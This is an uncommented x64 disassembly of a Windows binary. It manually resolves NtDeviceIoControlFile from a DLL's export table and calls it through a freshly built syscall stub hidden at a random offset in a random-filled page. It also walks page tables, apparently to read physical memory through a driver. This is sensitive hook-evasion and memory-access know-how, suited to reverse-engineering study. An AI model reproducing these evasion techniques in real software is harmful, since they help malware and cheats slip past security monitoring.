lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x6d0], 0
xor edx, edx
mov qword [rbp + 0x6d8], 0
xorps xmm0, xmm0
mov qword [rbp + 0x6e0], 0
movups xmmword [rbp + 0xe40], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x6c0], 8
mov qword [rbp + 0x6c8], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14006e93b
cmp word [rax], bx
jne 0x14006e93b
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006e93b
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006e93b
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006e936
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006e783
inc rbx
cmp rbx, r14
jb 0x14006e760
jmp 0x14006e936
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006e936
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006e936
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x35d84], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x34a00]
call fcn.1400be1b0
lea rcx, [rbp + 0x34a00]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x34a00]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xdafe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006e813
mov r8d, 0x1000
lea rdx, [rbp + 0xdafe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdc8]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdc8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x6c0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x6c0]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xe40]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdc8]
lea r9, [rbp + 0xdc8]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006fc47
mov ebx, 0x5a4d
mov rsi, qword [rbp + 0x6d8]
test rsi, rsi
je 0x14006fc47
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rsi, qword [rsi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14006ebb7
cmp word [rax], bx
jne 0x14006ebb7
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006ebb7
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006ebb7
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov r14d, dword [rax + 0x20]
add r13, rdi
mov r15d, dword [rax + 0x18]
add r14, rdi
test r15, r15
je 0x14006ebb7
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006e9f5
inc rbx
cmp rbx, r15
jb 0x14006e9d1
jmp 0x14006ebb7
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x14006ebb7
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006ebb7
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x37114], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x35d90]
call fcn.1400be1b0
lea rcx, [rbp + 0x35d90]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop dword [rax + rax]
lea rcx, [rbp + 0x35d90]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xdbfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006ea90
mov r8d, 0x1000
lea rdx, [rbp + 0xdbfe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rdi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdcc]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdcc], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x6c0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x6c0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xe40]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdcc]
lea r9, [rbp + 0xdcc]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006fc47
test sil, 1
je 0x14006fc47
movzx eax, sil
shr al, 7
test al, 1
je 0x14006ebe8
movabs rax, 0xfffffc0000000
and rsi, rax
mov rax, qword [rsp + 0x60]
and eax, 0x3fffffff
jmp 0x14006f6b2
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rsi, rcx
shr rax, 0x15
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x6f8], 0
xor edx, edx
mov qword [rbp + 0x700], 0
xorps xmm0, xmm0
mov qword [rbp + 0x708], 0
movups xmmword [rbp + 0xe50], xmm0
lea rax, [rsi + rax*8]
mov qword [rbp + 0x6e8], 8
mov qword [rbp + 0x6f0], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14006eeab
cmp word [rax], bx
jne 0x14006eeab
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006eeab
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006eeab
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006eea6
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006ecf3
inc rbx
cmp rbx, r14
jb 0x14006ecd0
jmp 0x14006eea6
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006eea6
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006eea6
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x384a4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x37120]
call fcn.1400be1b0
lea rcx, [rbp + 0x37120]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x37120]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xdcfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006ed83
mov r8d, 0x1000
lea rdx, [rbp + 0xdcfe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdd0]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdd0], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x6e8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x6e8]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xe50]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdd0]
lea r9, [rbp + 0xdd0]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006fc47
mov ebx, 0x5a4d
mov rsi, qword [rbp + 0x700]
test rsi, rsi
je 0x14006fc47
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rsi, qword [rsi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14006f127
cmp word [rax], bx
jne 0x14006f127
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006f127
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006f127
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov r14d, dword [rax + 0x20]
add r13, rdi
mov r15d, dword [rax + 0x18]
add r14, rdi
test r15, r15
je 0x14006f127
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006ef65
inc rbx
cmp rbx, r15
jb 0x14006ef41
jmp 0x14006f127
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x14006f127
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006f127
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x39834], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x384b0]
call fcn.1400be1b0
lea rcx, [rbp + 0x384b0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop dword [rax + rax]
lea rcx, [rbp + 0x384b0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xddfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006f000
mov r8d, 0x1000
lea rdx, [rbp + 0xddfe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rdi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdd4]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdd4], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x6e8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x6e8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xe50]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdd4]
lea r9, [rbp + 0xdd4]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006fc47
test sil, 1
je 0x14006fc47
movzx eax, sil
shr al, 7
test al, 1
je 0x14006f158
movabs rax, 0x3ffffffe00000
and rsi, rax
mov rax, qword [rsp + 0x60]
and eax, 0x1fffff
jmp 0x14006f6b2
mov rax, qword [rsp + 0x60]
movabs rcx, 0x3fffffffff000
mov r13d, dword [0x140322b68]
and rsi, rcx
shr rax, 0xc
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x720], 0
xor edx, edx
mov qword [rbp + 0x728], 0
xorps xmm0, xmm0
mov qword [rbp + 0x730], 0
movups xmmword [rbp + 0xe60], xmm0
lea rax, [rsi + rax*8]
mov qword [rbp + 0x710], 8
mov qword [rbp + 0x718], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14006f41b
cmp word [rax], bx
jne 0x14006f41b
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006f41b
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006f41b
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006f416
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006f263
inc rbx
cmp rbx, r14
jb 0x14006f240
jmp 0x14006f416
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006f416
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006f416
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x3abc4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x39840]
call fcn.1400be1b0
lea rcx, [rbp + 0x39840]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x39840]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xdefe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006f2f3
mov r8d, 0x1000
lea rdx, [rbp + 0xdefe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdd8]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdd8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x710]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x710]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xe60]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdd8]
lea r9, [rbp + 0xdd8]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006fc47
mov ebx, 0x5a4d
mov rsi, qword [rbp + 0x728]
test rsi, rsi
je 0x14006fc47
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rsi, qword [rsi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14006f691
cmp word [rax], bx
jne 0x14006f691
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006f691
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006f691
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov r14d, dword [rax + 0x20]
add r13, rdi
mov r15d, dword [rax + 0x18]
add r14, rdi
test r15, r15
je 0x14006f691
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006f4d5
inc rbx
cmp rbx, r15
jb 0x14006f4b1
jmp 0x14006f691
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x14006f691
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006f691
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x3bf54], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x3abd0]
call fcn.1400be1b0
lea rcx, [rbp + 0x3abd0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor r12d, r12d
mov ebx, r12d
nop dword [rax]
lea rcx, [rbp + 0x3abd0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xdffe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006f570
mov r8d, 0x1000
lea rdx, [rbp + 0xdffe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rdi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xddc]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xddc], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x710]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x710]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xe60]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xddc]
lea r9, [rbp + 0xddc]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r12d
test ebx, ebx
js 0x14006fc47
test sil, 1
je 0x14006fc47
movabs rax, 0x3fffffffff000
and rsi, rax
mov rax, qword [rsp + 0x60]
and eax, 0xfff
add rsi, rax
test rsi, rsi
je 0x14006fc47
mov rax, rsi
mov qword [rbp + 0x748], 0
and eax, 0xfff
mov qword [rbp + 0x750], 0
xorps xmm0, xmm0
mov qword [rbp + 0x758], 0
mov r13d, 0x1000
mov qword [rbp + 0x740], rsi
sub r13, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
cmp r13, qword [rbp + 0xc40]
mov dword [rsp + 0x58], eax
cmovae r13, qword [rbp + 0xc40]
xor edx, edx
mov rax, qword [0x140329cf0]
movups xmmword [rbp + 0xe70], xmm0
mov qword [rbp + 0x738], r13
lea r8d, [rdx + 1]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14006f985
cmp word [rax], bx
jne 0x14006f985
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006f985
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006f985
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006f980
nop
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006f7c3
inc rbx
cmp rbx, r14
jb 0x14006f7a0
jmp 0x14006f980
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006f980
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006f980
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x3d2e4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x3bf60]
call fcn.1400be1b0
lea rcx, [rbp + 0x3bf60]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor r15d, r15d
mov ebx, r15d
nop word [rax + rax]
lea rcx, [rbp + 0x3bf60]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xebfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006f860
mov r8d, 0x1000
lea rdx, [rbp + 0xebfe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xde0]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xde0], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x738]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x738]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xe70]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xde0]
lea r9, [rbp + 0xde0]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r15d
test ebx, ebx
js 0x14006fc3e
mov ebx, 0x5a4d
mov rdx, qword [rbp + 0x750]
test rdx, rdx
je 0x14006fc3e
lea rcx, [rbp + 0xc30]
mov r8, r13
add rcx, qword [rsp + 0x78]
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14006fc05
cmp word [rax], bx
jne 0x14006fc05
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006fc05
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006fc05
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006fc05
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006fa53
inc rbx
cmp rbx, r14
jb 0x14006fa30
jmp 0x14006fc05
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006fc05
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006fc05
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x3e674], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x3d2f0]
call fcn.1400be1b0
lea rcx, [rbp + 0x3d2f0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x3d2f0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xe0fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006fae3
mov r8d, 0x1000
lea rdx, [rbp + 0xe0fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
